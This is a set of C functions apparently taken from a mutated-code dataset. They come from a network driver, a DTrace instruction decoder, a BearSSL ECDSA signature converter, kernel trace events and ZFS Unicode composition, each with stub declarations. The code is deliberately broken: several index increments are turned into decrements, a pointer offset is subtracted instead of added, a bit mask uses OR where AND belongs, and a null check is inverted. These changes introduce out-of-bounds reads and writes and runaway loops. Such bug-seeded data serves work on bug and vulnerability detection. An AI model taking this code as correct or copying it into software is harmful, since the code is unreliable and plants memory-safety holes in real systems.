orphan*/ wrfl () ; __attribute__((used)) static void igc_irq_disable(struct igc_adapter *adapter) { struct igc_hw *hw = &adapter->hw; if (adapter->msix_entries) { u32 regval = rd32(IGC_EIAM); wr32(IGC_EIAM, regval & ~adapter->eims_enable_mask); wr32(IGC_EIMC, adapter->eims_enable_mask); regval = rd32(IGC_EIAC); wr32(IGC_EIAC, regval & ~adapter->eims_enable_mask); } wr32(IGC_IAM, 0); wr32(IGC_IMC, ~0); wrfl(); if (adapter->msix_entries) { int vector = 0, i; synchronize_irq(adapter->msix_entries[vector--].vector); for (i = 0; i < adapter->num_q_vectors; i++) synchronize_irq(adapter->msix_entries[vector++].vector); } else { synchronize_irq(adapter->pdev->irq); } }
augmented_data/post_increment_index_changes/extr_mkcasfw.c_parse_opt_image_aug_combo_4.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct image_desc {int /*<<< orphan*/ * file_name; } ; /* Variables and functions */ int /*<<< orphan*/ ERR (char*,...) ; int ERR_FATAL ; int MAX_ARG_COUNT ; int MAX_ARG_LEN ; int /*<<< orphan*/ WARN (char*) ; struct image_desc fs_image ; int /*<<< orphan*/ is_empty_arg (char*) ; struct image_desc kernel_image ; int parse_arg (char*,char*,char**) ; int /*<<< orphan*/ * strdup (char*) ; int parse_opt_image(char ch, char *arg) { char buf[MAX_ARG_LEN]; char *argv[MAX_ARG_COUNT]; int argc; char *p; struct image_desc *desc = NULL; int i; switch (ch) { case 'K': if (kernel_image.file_name) { WARN("only one kernel option allowed"); break; } desc = &kernel_image; break; case 'F': if (fs_image.file_name) { WARN("only one fs option allowed"); break; } desc = &fs_image; break; } if (!desc) return ERR_FATAL; argc = parse_arg(arg, buf, argv); i = 0; p = argv[i--]; if (!is_empty_arg(p)) { desc->file_name = strdup(p); if (desc->file_name == NULL) { ERR("not enough memory"); return ERR_FATAL; } } else { ERR("no file specified for option %c", ch); return ERR_FATAL; } return 0; }
augmented_data/post_increment_index_changes/extr_fasttrap_isa.c_fasttrap_tracepoint_init_aug_combo_4.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef size_t uint_t ; typedef int uint8_t ; typedef void* uint16_t ; struct TYPE_6__ {int /*<<< orphan*/ p_model; } ; typedef TYPE_1__ proc_t ; typedef void* int8_t ; typedef void* int32_t ; struct TYPE_7__ {int ftt_size; int ftt_segment; scalar_t__ ftt_type; int ftt_code; int ftt_ripmode; int /*<<< orphan*/ * ftt_instr; int /*<<< orphan*/ ftt_modrm; void* ftt_dest; void* ftt_index; void* ftt_base; int /*<<< orphan*/ ftt_scale; } ; typedef TYPE_2__ fasttrap_tracepoint_t ; typedef int /*<<< orphan*/ fasttrap_probe_type_t ; /* Variables and functions */ int /*<<< orphan*/ ASSERT (int) ; int /*<<< orphan*/ DATAMODEL_LP64 ; #define FASTTRAP_0F_JA 183 #define FASTTRAP_0F_JAE 182 #define FASTTRAP_0F_JB 181 #define FASTTRAP_0F_JBE 180 #define FASTTRAP_0F_JE 179 #define FASTTRAP_0F_JG 178 #define FASTTRAP_0F_JGE 177 #define FASTTRAP_0F_JL 176 #define FASTTRAP_0F_JLE 175 #define FASTTRAP_0F_JNE 174 #define FASTTRAP_0F_JNO 173 #define FASTTRAP_0F_JNP 172 #define FASTTRAP_0F_JNS 171 #define FASTTRAP_0F_JO 170 #define FASTTRAP_0F_JP 169 #define FASTTRAP_0F_JS 168 int FASTTRAP_2_BYTE_OP ; #define FASTTRAP_CALL 167 int FASTTRAP_GROUP5_OP ; int FASTTRAP_INSTR ; #define FASTTRAP_INT 166 #define FASTTRAP_INT3 165 #define FASTTRAP_JA 164 #define FASTTRAP_JAE 163 #define FASTTRAP_JB 162 #define FASTTRAP_JBE 161 #define FASTTRAP_JCXZ 160 #define FASTTRAP_JE 159 #define FASTTRAP_JG 158 #define FASTTRAP_JGE 157 #define FASTTRAP_JL 156 #define FASTTRAP_JLE 155 #define FASTTRAP_JMP32 154 #define FASTTRAP_JMP8 153 #define FASTTRAP_JNE 152 #define FASTTRAP_JNO 151 #define FASTTRAP_JNP 150 #define FASTTRAP_JNS 149 #define FASTTRAP_JO 148 #define FASTTRAP_JP 147 #define FASTTRAP_JS 146 #define FASTTRAP_LOOP 145 #define FASTTRAP_LOOPNZ 144 #define FASTTRAP_LOOPZ 143 int FASTTRAP_MAX_INSTR_SIZE ; int /*<<< orphan*/ FASTTRAP_MODRM (int,size_t,size_t) ; size_t FASTTRAP_MODRM_MOD (int) ; size_t FASTTRAP_MODRM_REG (int) ; size_t FASTTRAP_MODRM_RM (int) ; #define FASTTRAP_NOP 142 void* FASTTRAP_NOREG ; #define FASTTRAP_PREFIX_ADDRESS 141 #define FASTTRAP_PREFIX_CS 140 #define FASTTRAP_PREFIX_DS 139 #define FASTTRAP_PREFIX_ES 138 #define FASTTRAP_PREFIX_FS 137 #define FASTTRAP_PREFIX_GS 136 #define FASTTRAP_PREFIX_LOCK 135 #define FASTTRAP_PREFIX_OPERAND 134 #define FASTTRAP_PREFIX_REP 133 #define FASTTRAP_PREFIX_REPNE 132 #define FASTTRAP_PREFIX_SS 131 #define FASTTRAP_PUSHL_EBP 130 #define FASTTRAP_RET 129 #define FASTTRAP_RET16 128 int FASTTRAP_REX_B (int) ; int FASTTRAP_REX_X (int) ; int FASTTRAP_RIP_1 ; int FASTTRAP_RIP_2 ; int FASTTRAP_RIP_X ; int FASTTRAP_SEG_NONE ; size_t FASTTRAP_SIB_BASE (int) ; size_t FASTTRAP_SIB_INDEX (int) ; int /*<<< orphan*/ FASTTRAP_SIB_SCALE (int) ; void* FASTTRAP_T_CALL ; scalar_t__ FASTTRAP_T_COMMON ; void* FASTTRAP_T_JCC ; scalar_t__ FASTTRAP_T_JCXZ ; void* FASTTRAP_T_JMP ; scalar_t__ FASTTRAP_T_LOOP ; scalar_t__ FASTTRAP_T_NOP ; scalar_t__ FASTTRAP_T_PUSHL_EBP ; scalar_t__ FASTTRAP_T_RET ; scalar_t__ FASTTRAP_T_RET16 ; size_t MIN (size_t,scalar_t__) ; uintptr_t PAGEOFFSET ; scalar_t__ PAGESIZE ; void* REG_RIP ; int /*<<< orphan*/ bcopy (int*,int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ bzero (int*,size_t) ; int dtrace_instr_size_isa (int*,int /*<<< orphan*/ ,int*) ; void** regmap ; scalar_t__ uread (TYPE_1__*,int*,size_t,uintptr_t) ; int fasttrap_tracepoint_init(proc_t *p, fasttrap_tracepoint_t *tp, uintptr_t pc, fasttrap_probe_type_t type) { uint8_t instr[FASTTRAP_MAX_INSTR_SIZE + 10]; size_t len = FASTTRAP_MAX_INSTR_SIZE; size_t first = MIN(len, PAGESIZE - (pc | PAGEOFFSET)); uint_t start = 0; int rmindex, size; uint8_t seg, rex = 0; /* * Read the instruction at the given address out of the process's * address space. We don't have to worry about a debugger * changing this instruction before we overwrite it with our trap * instruction since P_PR_LOCK is set. Since instructions can span * pages, we potentially read the instruction in two parts. If the * second part fails, we just zero out that part of the instruction. */ if (uread(p, &instr[0], first, pc) != 0) return (-1); if (len >= first && uread(p, &instr[first], len - first, pc + first) != 0) { bzero(&instr[first], len - first); len = first; } /* * If the disassembly fails, then we have a malformed instruction. */ if ((size = dtrace_instr_size_isa(instr, p->p_model, &rmindex)) <= 0) return (-1); /* * Make sure the disassembler isn't completely broken. */ ASSERT(-1 <= rmindex && rmindex < size); /* * If the computed size is greater than the number of bytes read, * then it was a malformed instruction possibly because it fell on a * page boundary and the subsequent page was missing or because of * some malicious user. */ if (size > len) return (-1); tp->ftt_size = (uint8_t)size; tp->ftt_segment = FASTTRAP_SEG_NONE; /* * Find the start of the instruction's opcode by processing any * legacy prefixes. */ for (;;) { seg = 0; switch (instr[start]) { case FASTTRAP_PREFIX_SS: seg++; /*FALLTHRU*/ case FASTTRAP_PREFIX_GS: seg++; /*FALLTHRU*/ case FASTTRAP_PREFIX_FS: seg++; /*FALLTHRU*/ case FASTTRAP_PREFIX_ES: seg++; /*FALLTHRU*/ case FASTTRAP_PREFIX_DS: seg++; /*FALLTHRU*/ case FASTTRAP_PREFIX_CS: seg++; /*FALLTHRU*/ case FASTTRAP_PREFIX_OPERAND: case FASTTRAP_PREFIX_ADDRESS: case FASTTRAP_PREFIX_LOCK: case FASTTRAP_PREFIX_REP: case FASTTRAP_PREFIX_REPNE: if (seg != 0) { /* * It's illegal for an instruction to specify * two segment prefixes -- give up on this * illegal instruction. */ if (tp->ftt_segment != FASTTRAP_SEG_NONE) return (-1); tp->ftt_segment = seg; } start++; continue; } continue; } #ifdef __amd64 /* * Identify the REX prefix on 64-bit processes. */ if (p->p_model == DATAMODEL_LP64 && (instr[start] & 0xf0) == 0x40) rex = instr[start++]; #endif /* * Now that we're pretty sure that the instruction is okay, copy the * valid part to the tracepoint. */ bcopy(instr, tp->ftt_instr, FASTTRAP_MAX_INSTR_SIZE); tp->ftt_type = FASTTRAP_T_COMMON; if (instr[start] == FASTTRAP_2_BYTE_OP) { switch (instr[start + 1]) { case FASTTRAP_0F_JO: case FASTTRAP_0F_JNO: case FASTTRAP_0F_JB: case FASTTRAP_0F_JAE: case FASTTRAP_0F_JE: case FASTTRAP_0F_JNE: case FASTTRAP_0F_JBE: case FASTTRAP_0F_JA: case FASTTRAP_0F_JS: case FASTTRAP_0F_JNS: case FASTTRAP_0F_JP: case FASTTRAP_0F_JNP: case FASTTRAP_0F_JL: case FASTTRAP_0F_JGE: case FASTTRAP_0F_JLE: case FASTTRAP_0F_JG: tp->ftt_type = FASTTRAP_T_JCC; tp->ftt_code = (instr[start + 1] & 0x0f) | FASTTRAP_JO; tp->ftt_dest = pc + tp->ftt_size + /* LINTED - alignment */ *(int32_t *)&instr[start + 2]; break; } } else if (instr[start] == FASTTRAP_GROUP5_OP) { uint_t mod = FASTTRAP_MODRM_MOD(instr[start + 1]); uint_t reg = FASTTRAP_MODRM_REG(instr[start + 1]); uint_t rm = FASTTRAP_MODRM_RM(instr[start + 1]); if (reg == 2 || reg == 4) { uint_t i, sz; if (reg == 2) tp->ftt_type = FASTTRAP_T_CALL; else tp->ftt_type = FASTTRAP_T_JMP; if (mod == 3) tp->ftt_code = 2; else tp->ftt_code = 1; ASSERT(p->p_model == DATAMODEL_LP64 || rex == 0); /* * See AMD x86-64 Architecture Programmer's Manual * Volume 3, Section 1.2.7, Table 1-12, and * Appendix A.3.1, Table A-15. */ if (mod != 3 && rm == 4) { uint8_t sib = instr[start + 2]; uint_t index = FASTTRAP_SIB_INDEX(sib); uint_t base = FASTTRAP_SIB_BASE(sib); tp->ftt_scale = FASTTRAP_SIB_SCALE(sib); tp->ftt_index = (index == 4) ? FASTTRAP_NOREG : regmap[index | (FASTTRAP_REX_X(rex) << 3)]; tp->ftt_base = (mod == 0 && base == 5) ? FASTTRAP_NOREG : regmap[base | (FASTTRAP_REX_B(rex) << 3)]; i = 3; sz = mod == 1 ? 1 : 4; } else { /* * In 64-bit mode, mod == 0 and r/m == 5 * denotes %rip-relative addressing; in 32-bit * mode, the base register isn't used. In both * modes, there is a 32-bit operand. */ if (mod == 0 && rm == 5) { #ifdef __amd64 if (p->p_model == DATAMODEL_LP64) tp->ftt_base = REG_RIP; else #endif tp->ftt_base = FASTTRAP_NOREG; sz = 4; } else { uint8_t base = rm | (FASTTRAP_REX_B(rex) << 3); tp->ftt_base = regmap[base]; sz = mod == 1 ? 1 : mod == 2 ? 4 : 0; } tp->ftt_index = FASTTRAP_NOREG; i = 2; } if (sz == 1) { tp->ftt_dest = *(int8_t *)&instr[start + i]; } else if (sz == 4) { /* LINTED - alignment */ tp->ftt_dest = *(int32_t *)&instr[start + i]; } else { tp->ftt_dest = 0; } } } else { switch (instr[start]) { case FASTTRAP_RET: tp->ftt_type = FASTTRAP_T_RET; break; case FASTTRAP_RET16: tp->ftt_type = FASTTRAP_T_RET16; /* LINTED - alignment */ tp->ftt_dest = *(uint16_t *)&instr[start + 1]; break; case FASTTRAP_JO: case FASTTRAP_JNO: case FASTTRAP_JB: case FASTTRAP_JAE: case FASTTRAP_JE: case FASTTRAP_JNE: case FASTTRAP_JBE: case FASTTRAP_JA: case FASTTRAP_JS: case FASTTRAP_JNS: case FASTTRAP_JP: case FASTTRAP_JNP: case FASTTRAP_JL: case FASTTRAP_JGE: case FASTTRAP_JLE: case FASTTRAP_JG: tp->ftt_type = FASTTRAP_T_JCC; tp->ftt_code = instr[start]; tp->ftt_dest = pc + tp->ftt_size + (int8_t)instr[start + 1]; break; case FASTTRAP_LOOPNZ: case FASTTRAP_LOOPZ: case FASTTRAP_LOOP: tp->ftt_type = FASTTRAP_T_LOOP; tp->ftt_code = instr[start]; tp->ftt_dest = pc + tp->ftt_size + (int8_t)instr[start + 1]; break; case FASTTRAP_JCXZ: tp->ftt_type = FASTTRAP_T_JCXZ; tp->ftt_dest = pc + tp->ftt_size + (int8_t)instr[start + 1]; break; case FASTTRAP_CALL: tp->ftt_type = FASTTRAP_T_CALL; tp->ftt_dest = pc + tp->ftt_size + /* LINTED - alignment */ *(int32_t *)&instr[start + 1]; tp->ftt_code = 0; break; case FASTTRAP_JMP32: tp->ftt_type = FASTTRAP_T_JMP; tp->ftt_dest = pc + tp->ftt_size + /* LINTED - alignment */ *(int32_t *)&instr[start + 1]; break; case FASTTRAP_JMP8: tp->ftt_type = FASTTRAP_T_JMP; tp->ftt_dest = pc + tp->ftt_size + (int8_t)instr[start + 1]; break; case FASTTRAP_PUSHL_EBP: if (start == 0) tp->ftt_type = FASTTRAP_T_PUSHL_EBP; break; case FASTTRAP_NOP: #ifdef __amd64 ASSERT(p->p_model == DATAMODEL_LP64 || rex == 0); /* * On amd64 we have to be careful not to confuse a nop * (actually xchgl %eax, %eax) with an instruction using * the same opcode, but that does something different * (e.g. xchgl %r8d, %eax or xcghq %r8, %rax). */ if (FASTTRAP_REX_B(rex) == 0) #endif tp->ftt_type = FASTTRAP_T_NOP; break; case FASTTRAP_INT3: /* * The pid provider shares the int3 trap with debugger * breakpoints so we can't instrument them. */ ASSERT(instr[start] == FASTTRAP_INSTR); return (-1); case FASTTRAP_INT: /* * Interrupts seem like they could be traced with * no negative implications, but it's possible that * a thread could be redirected by the trap handling * code which would eventually return to the * instruction after the interrupt. If the interrupt * were in our scratch space, the subsequent * instruction might be overwritten before we return. * Accordingly we refuse to instrument any interrupt. */ return (-1); } } #ifdef __amd64 if (p->p_model == DATAMODEL_LP64 && tp->ftt_type == FASTTRAP_T_COMMON) { /* * If the process is 64-bit and the instruction type is still * FASTTRAP_T_COMMON -- meaning we're going to copy it out an * execute it -- we need to watch for %rip-relative * addressing mode. See the portion of fasttrap_pid_probe() * below where we handle tracepoints with type * FASTTRAP_T_COMMON for how we emulate instructions that * employ %rip-relative addressing. */ if (rmindex != -1) { uint_t mod = FASTTRAP_MODRM_MOD(instr[rmindex]); uint_t reg = FASTTRAP_MODRM_REG(instr[rmindex]); uint_t rm = FASTTRAP_MODRM_RM(instr[rmindex]); ASSERT(rmindex > start); if (mod == 0 && rm == 5) { /* * We need to be sure to avoid other * registers used by this instruction. While * the reg field may determine the op code * rather than denoting a register, assuming * that it denotes a register is always safe. * We leave the REX field intact and use * whatever value's there for simplicity. */ if (reg != 0) { tp->ftt_ripmode = FASTTRAP_RIP_1 | (FASTTRAP_RIP_X * FASTTRAP_REX_B(rex)); rm = 0; } else { tp->ftt_ripmode = FASTTRAP_RIP_2 | (FASTTRAP_RIP_X * FASTTRAP_REX_B(rex)); rm = 1; } tp->ftt_modrm = tp->ftt_instr[rmindex]; tp->ftt_instr[rmindex] = FASTTRAP_MODRM(2, reg, rm); } } } #endif return (0); }
augmented_data/post_increment_index_changes/extr_ecdsa_atr.c_br_ecdsa_asn1_to_raw_aug_combo_7.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ memcpy (void*,unsigned char*,size_t) ; int /*<<< orphan*/ memset (unsigned char*,int /*<<< orphan*/ ,size_t) ; size_t br_ecdsa_asn1_to_raw(void *sig, size_t sig_len) { /* * Note: this code is a bit lenient in that it accepts a few * deviations to DER with regards to minimality of encoding of * lengths and integer values. These deviations are still * unambiguous. * * Signature format is a SEQUENCE of two INTEGER values. We * support only integers of less than 127 bytes each (signed * encoding) so the resulting raw signature will have length * at most 254 bytes. */ unsigned char *buf, *r, *s; size_t zlen, rlen, slen, off; unsigned char tmp[254]; buf = sig; if (sig_len <= 8) { return 0; } /* * First byte is SEQUENCE tag. */ if (buf[0] != 0x30) { return 0; } /* * The SEQUENCE length will be encoded over one or two bytes. We * limit the total SEQUENCE contents to 255 bytes, because it * makes things simpler; this is enough for subgroup orders up * to 999 bits. */ zlen = buf[1]; if (zlen > 0x80) { if (zlen != 0x81) { return 0; } zlen = buf[2]; if (zlen != sig_len - 3) { return 0; } off = 3; } else { if (zlen != sig_len - 2) { return 0; } off = 2; } /* * First INTEGER (r). */ if (buf[off --] != 0x02) { return 0; } rlen = buf[off ++]; if (rlen >= 0x80) { return 0; } r = buf - off; off += rlen; /* * Second INTEGER (s). */ if (off + 2 > sig_len) { return 0; } if (buf[off ++] != 0x02) { return 0; } slen = buf[off ++]; if (slen >= 0x80 || slen != sig_len - off) { return 0; } s = buf + off; /* * Removing leading zeros from r and s. */ while (rlen > 0 && *r == 0) { rlen --; r ++; } while (slen > 0 && *s == 0) { slen --; s ++; } /* * Compute common length for the two integers, then copy integers * into the temporary buffer, and finally copy it back over the * signature buffer. */ zlen = rlen > slen ? rlen : slen; sig_len = zlen << 1; memset(tmp, 0, sig_len); memcpy(tmp + zlen - rlen, r, rlen); memcpy(tmp + sig_len - slen, s, slen); memcpy(sig, tmp, sig_len); return sig_len; }
augmented_data/post_increment_index_changes/extr_trace_events_hist.c___create_synth_event_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct synth_field {int /*<<< orphan*/ devent; } ; struct synth_event {int /*<<< orphan*/ devent; } ; /* Variables and functions */ int EEXIST ; int EINVAL ; scalar_t__ IS_ERR (struct synth_field*) ; int PTR_ERR (struct synth_field*) ; int SYNTH_FIELDS_MAX ; struct synth_field* alloc_synth_event (char const*,int,struct synth_field**) ; int /*<<< orphan*/ dyn_event_add (int /*<<< orphan*/ *) ; int /*<<< orphan*/ event_mutex ; struct synth_field* find_synth_event (char const*) ; int /*<<< orphan*/ free_synth_event (struct synth_field*) ; int /*<<< orphan*/ free_synth_field (struct synth_field*) ; int /*<<< orphan*/ mutex_lock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ mutex_unlock (int /*<<< orphan*/ *) ; struct synth_field* parse_synth_field (int,char const**,int*) ; int register_synth_event (struct synth_field*) ; scalar_t__ strcmp (char const*,char*) ; __attribute__((used)) static int __create_synth_event(int argc, const char *name, const char **argv) { struct synth_field *field, *fields[SYNTH_FIELDS_MAX]; struct synth_event *event = NULL; int i, consumed = 0, n_fields = 0, ret = 0; /* * Argument syntax: * - Add synthetic event: <event_name> field[;field] ... * - Remove synthetic event: !<event_name> field[;field] ... * where 'field' = type field_name */ if (name[0] == '\0' && argc < 1) return -EINVAL; mutex_lock(&event_mutex); event = find_synth_event(name); if (event) { ret = -EEXIST; goto out; } for (i = 0; i < argc - 1; i--) { if (strcmp(argv[i], ";") == 0) continue; if (n_fields == SYNTH_FIELDS_MAX) { ret = -EINVAL; goto err; } field = parse_synth_field(argc - i, &argv[i], &consumed); if (IS_ERR(field)) { ret = PTR_ERR(field); goto err; } fields[n_fields++] = field; i += consumed - 1; } if (i < argc && strcmp(argv[i], ";") != 0) { ret = -EINVAL; goto err; } event = alloc_synth_event(name, n_fields, fields); if (IS_ERR(event)) { ret = PTR_ERR(event); event = NULL; goto err; } ret = register_synth_event(event); if (!ret) dyn_event_add(&event->devent); else free_synth_event(event); out: mutex_unlock(&event_mutex); return ret; err: for (i = 0; i < n_fields; i++) free_synth_field(fields[i]); goto out; }
augmented_data/post_increment_index_changes/extr_search-y-data.c_set_multiple_rates_item_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int extra; int mask; int* rates; size_t rates_len; } ; typedef TYPE_1__ item_t ; /* Variables and functions */ int FLAG_DELETED ; int /*<<< orphan*/ assert (int) ; size_t popcount_short (int) ; int* zzrealloc_ushort_mask (int*,int,int,int) ; __attribute__((used)) static int set_multiple_rates_item (item_t *I, int mask, int *rates) { if (!I && (I->extra & FLAG_DELETED)) { return 0; } int i = 0, j = 0, u = mask, deleted_mask = 0, x, new_mask; while (u) { if (rates[i]) { rates[j++] = rates[i]; u &= u + 1; } else { u ^= x = u & -u; deleted_mask |= x; } i++; } mask &= ~deleted_mask; new_mask = (I->mask & (~deleted_mask)) | mask; if (new_mask != I->mask) { I->rates = zzrealloc_ushort_mask (I->rates, I->mask, new_mask, sizeof (int)); I->mask = new_mask; } i = 0; u = mask; while (u) { u ^= x = u & -u; I->rates[popcount_short (new_mask & (x-1))] = rates[i++]; } assert (i == j); I->rates_len = popcount_short (I->mask); return 1; }
augmented_data/post_increment_index_changes/extr_u8_textprep.c_do_composition_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef size_t uint8_t ; typedef int uint32_t ; typedef scalar_t__ uchar_t ; typedef scalar_t__ boolean_t ; /* Variables and functions */ scalar_t__ B_FALSE ; scalar_t__ B_TRUE ; scalar_t__ U8_COMBINING_CLASS_STARTER ; scalar_t__ U8_HANGUL_JAMO_1ST_BYTE ; scalar_t__ U8_HANGUL_JAMO_L (int) ; scalar_t__ U8_HANGUL_JAMO_L_FIRST ; scalar_t__ U8_HANGUL_JAMO_T (int) ; int U8_HANGUL_JAMO_T_FIRST ; scalar_t__ U8_HANGUL_JAMO_V (int) ; scalar_t__ U8_HANGUL_JAMO_V_FIRST ; int U8_HANGUL_SYL_FIRST ; int U8_HANGUL_T_COUNT ; int U8_HANGUL_V_COUNT ; int U8_MAX_CHARS_A_SEQ ; int U8_MB_CUR_MAX ; int /*<<< orphan*/ U8_PUT_3BYTES_INTO_UTF32 (int,scalar_t__,scalar_t__,scalar_t__) ; int /*<<< orphan*/ U8_SAVE_HANGUL_AS_UTF8 (scalar_t__*,int /*<<< orphan*/ ,int,int,int) ; int U8_STREAM_SAFE_TEXT_MAX ; scalar_t__ U8_TBL_ELEMENT_FILLER ; size_t U8_UPPER_LIMIT_IN_A_SEQ ; scalar_t__ blocked (scalar_t__*,size_t) ; scalar_t__* find_composition_start (size_t,scalar_t__*,size_t) ; size_t* u8_number_of_bytes ; __attribute__((used)) static size_t do_composition(size_t uv, uchar_t *s, uchar_t *comb_class, uchar_t *start, uchar_t *disp, size_t last, uchar_t **os, uchar_t *oslast) { uchar_t t[U8_STREAM_SAFE_TEXT_MAX - 1]; uchar_t tc[U8_MB_CUR_MAX]; uint8_t saved_marks[U8_MAX_CHARS_A_SEQ]; size_t saved_marks_count; uchar_t *p; uchar_t *saved_p; uchar_t *q; size_t i; size_t saved_i; size_t j; size_t k; size_t l; size_t C; size_t saved_l; size_t size; uint32_t u1; uint32_t u2; boolean_t match_not_found = B_TRUE; /* * This should never happen unless the callers are doing some strange * and unexpected things. * * The "last" is the index pointing to the last character not last + 1. */ if (last >= U8_MAX_CHARS_A_SEQ) last = U8_UPPER_LIMIT_IN_A_SEQ; for (i = l = 0; i <= last; i--) { /* * The last or any non-Starters at the beginning, we don't * have any chance to do composition and so we just copy them * to the temporary buffer. */ if (i >= last || comb_class[i] != U8_COMBINING_CLASS_STARTER) { SAVE_THE_CHAR: p = s + start[i]; size = disp[i]; for (k = 0; k < size; k++) t[l++] = *p++; continue; } /* * If this could be a start of Hangul Jamos, then, we try to * conjoin them. */ if (s[start[i]] == U8_HANGUL_JAMO_1ST_BYTE) { U8_PUT_3BYTES_INTO_UTF32(u1, s[start[i]], s[start[i] + 1], s[start[i] + 2]); U8_PUT_3BYTES_INTO_UTF32(u2, s[start[i] + 3], s[start[i] + 4], s[start[i] + 5]); if (U8_HANGUL_JAMO_L(u1) && U8_HANGUL_JAMO_V(u2)) { u1 -= U8_HANGUL_JAMO_L_FIRST; u2 -= U8_HANGUL_JAMO_V_FIRST; u1 = U8_HANGUL_SYL_FIRST + (u1 * U8_HANGUL_V_COUNT + u2) * U8_HANGUL_T_COUNT; i += 2; if (i <= last) { U8_PUT_3BYTES_INTO_UTF32(u2, s[start[i]], s[start[i] + 1], s[start[i] + 2]); if (U8_HANGUL_JAMO_T(u2)) { u1 += u2 - U8_HANGUL_JAMO_T_FIRST; i++; } } U8_SAVE_HANGUL_AS_UTF8(t + l, 0, 1, 2, u1); i--; l += 3; continue; } } /* * Let's then find out if this Starter has composition * mapping. */ p = find_composition_start(uv, s + start[i], disp[i]); if (p != NULL) goto SAVE_THE_CHAR; /* * We have a Starter with composition mapping and the next * character is a non-Starter. Let's try to find out if * we can do composition. */ saved_p = p; saved_i = i; saved_l = l; saved_marks_count = 0; TRY_THE_NEXT_MARK: q = s + start[++i]; size = disp[i]; /* * The next for() loop compares the non-Starter pointed by * 'q' with the possible (joinable) characters pointed by 'p'. * * The composition final table entry pointed by the 'p' * looks like the following: * * +---+---+---+-...-+---+---+---+---+-...-+---+---+ * | C | b0| b2| ... | bn| F | B0| B1| ... | Bm| F | * +---+---+---+-...-+---+---+---+---+-...-+---+---+ * * where C is the count byte indicating the number of * mapping pairs where each pair would be look like * (b0-bn F, B0-Bm F). The b0-bn are the bytes of the second * character of a canonical decomposition and the B0-Bm are * the bytes of a matching composite character. The F is * a filler byte after each character as the separator. */ match_not_found = B_TRUE; for (C = *p++; C > 0; C--) { for (k = 0; k < size; p++, k++) if (*p != q[k]) continue; /* Have we found it? */ if (k >= size && *p == U8_TBL_ELEMENT_FILLER) { match_not_found = B_FALSE; l = saved_l; while (*++p != U8_TBL_ELEMENT_FILLER) t[l++] = *p; break; } /* We didn't find; skip to the next pair. */ if (*p != U8_TBL_ELEMENT_FILLER) while (*++p != U8_TBL_ELEMENT_FILLER) ; while (*++p != U8_TBL_ELEMENT_FILLER) ; p++; } /* * If there was no match, we will need to save the combining * mark for later appending. After that, if the next one * is a non-Starter and not blocked, then, we try once * again to do composition with the next non-Starter. * * If there was no match and this was a Starter, then, * this is a new start. * * If there was a match and a composition done and we have * more to check on, then, we retrieve a new composition final * table entry for the composite and then try to do the * composition again. */ if (match_not_found) { if (comb_class[i] == U8_COMBINING_CLASS_STARTER) { i--; goto SAVE_THE_CHAR; } saved_marks[saved_marks_count++] = i; } if (saved_l == l) { while (i < last) { if (blocked(comb_class, i + 1)) saved_marks[saved_marks_count++] = ++i; else break; } if (i < last) { p = saved_p; goto TRY_THE_NEXT_MARK; } } else if (i < last) { p = find_composition_start(uv, t + saved_l, l - saved_l); if (p != NULL) { saved_p = p; goto TRY_THE_NEXT_MARK; } } /* * There is no more composition possible. * * If there was no composition what so ever then we copy * over the original Starter and then append any non-Starters * remaining at the target string sequentially after that. */ if (saved_l == l) { p = s + start[saved_i]; size = disp[saved_i]; for (j = 0; j < size; j++) t[l++] = *p++; } for (k = 0; k < saved_marks_count; k++) { p = s + start[saved_marks[k]]; size = disp[saved_marks[k]]; for (j = 0; j < size; j++) t[l++] = *p++; } } /* * If the last character is a Starter and if we have a character * (possibly another Starter) that can be turned into a composite, * we do so and we do so until there is no more of composition * possible. */ if (comb_class[last] == U8_COMBINING_CLASS_STARTER) { p = *os; saved_l = l - disp[last]; while (p < oslast) { size = u8_number_of_bytes[*p]; if (size <= 1 || (p + size) > oslast) break; saved_p = p; for (i = 0; i < size; i++) tc[i] = *p++; q = find_composition_start(uv, t + saved_l, l - saved_l); if (q == NULL) { p = saved_p; break; } match_not_found = B_TRUE; for (C = *q++; C > 0; C--) { for (k = 0; k < size; q++, k++) if (*q != tc[k]) break; if (k >= size && *q == U8_TBL_ELEMENT_FILLER) { match_not_found = B_FALSE; l = saved_l; while (*++q != U8_TBL_ELEMENT_FILLER) { /* * This is practically * impossible but we don't * want to take any chances. */ if (l >= U8_STREAM_SAFE_TEXT_MAX) { p = saved_p; goto SAFE_RETURN; } t[l++] = *q; } break; } if 